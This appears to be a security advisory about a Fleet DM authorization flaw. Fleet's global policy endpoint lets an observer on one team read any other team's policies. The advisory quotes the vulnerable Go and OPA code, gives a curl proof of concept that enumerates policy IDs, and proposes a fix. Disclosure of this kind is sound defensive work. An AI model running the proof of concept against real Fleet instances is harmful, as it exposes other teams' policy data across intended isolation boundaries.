Go · github.com/fleetdm/fleet/v4
Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint
The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
// Auth check uses empty Policy{} — TeamID is nil
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
// Fetches ANY policy by ID, regardless of team ownership
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// ... populates install_software and run_script, returns full policy
return policy, nil
}
The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:
allow {
is_null(object.team_id)
object.type == "policy"
team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
action == read
}
Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:
func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
teamWhere := "TRUE" // nil teamID → no team filter
args := []interface{}{id}
if teamID != nil {
teamWhere = "team_id = ?"
args = append(args, *teamID)
}
// ... executes SELECT with WHERE p.id = ? AND {teamWhere}
This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by teamDeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetchingPrerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
-H 'Content-Type: application/json' \
-d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')
# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
https://fleet.example.com/api/latest/fleet/policies/5
# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
# "policy": {
# "id": 5,
# "name": "Team 2 Sensitive Policy",
# "query": "SELECT * FROM sensitive_table WHERE ...",
# "team_id": 2,
# "passing_host_count": 42,
# "failing_host_count": 7,
# "description": "...",
# "resolution": "...",
# ...
# }
# }
An authenticated user with observer-level access on any single team can:
populatePolicyInstallSoftware and populatePolicyRunScript callsThis breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// Verify this is actually a global policy — team policies must be
// accessed via the team-scoped endpoint which enforces team authorization
if policy.TeamID != nil {
return nil, authz.ForbiddenWithInternal(
"attempting to read team policy via global endpoint",
authz.UserFromContext(ctx),
policy,
fleet.ActionRead,
)
}
if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate install_software")
}
if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate run_script")
}
return policy, nil
}
Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.